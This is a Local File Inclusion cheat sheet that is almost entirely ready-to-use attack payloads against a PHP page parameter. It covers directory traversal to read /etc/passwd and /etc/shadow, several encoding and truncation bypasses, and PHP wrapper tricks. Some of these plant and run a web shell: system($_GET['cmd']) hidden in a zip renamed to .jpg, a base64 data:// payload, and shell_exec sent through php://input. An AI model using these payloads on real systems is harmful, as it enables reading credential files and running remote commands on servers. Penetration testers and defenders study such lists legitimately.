Local File Inclusion (LFI)

Introduction

Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server

Where to find

• Any endpoint that includes a file from a web server. For example, /index.php?page=index.html

How to exploit

1. Basic payload

   http://example.com/index.php?page=../../../etc/passwd
   http://example.com/index.php?page=../../../../../../../../../../../../etc/shadow
   

2. URL encoding

   http://example.com/index.php?page=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
   

3. Double encoding

   http://example.com/index.php?page=%252e%252e%252f%252e%252e%252fetc%252fpasswd
   

4. UTF-8 encoding

   http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
   

5. Using Null Byte (%00)

   http://example.com/index.php?page=../../../etc/passwd%00
   

6. From an existent folder

   http://example.com/index.php?page=scripts/../../../../../etc/passwd
   

7. Path truncation

   http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
   http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
   

8. Using PHP Wrappers: filter

   http://example.com/index.php?page=php://filter/read=string.rot13/resource=config.php
   http://example.com/index.php?page=php://filter/convert.base64-encode/resource=config.php
   

9. Using PHP Wrappers: zlib

   http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/shadow
   

10. Using PHP Wrappers: zip

    echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
    zip payload.zip payload.php;
    mv payload.zip shell.jpg;
    rm payload.php
    
    http://example.com/index.php?page=zip://shell.jpg%23payload.php
    

11. Using PHP Wrappers: data

    http://example.com/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
    

12. Using PHP Wrappers: expect

    http://example.com/index.php?page=expect://ls
    

13. Using PHP Wrappers: input

    POST /index.php?page=php://input&cmd=ls HTTP/1.1
    Host: example.com
    ...
    
    <?php echo shell_exec($_GET['cmd']); ?>
    

14. Some unique bypass

    http://example.com/index.php?page=....//....//etc/passwd
    http://example.com/index.php?page=..///////..////..//////etc/passwd
    http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
    http://example.com/index.php?page=/.%2e/.%2e/.%2e/.%2e/etc/passwd
    http://example.com/index.php?page=/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
    

References

• Aptive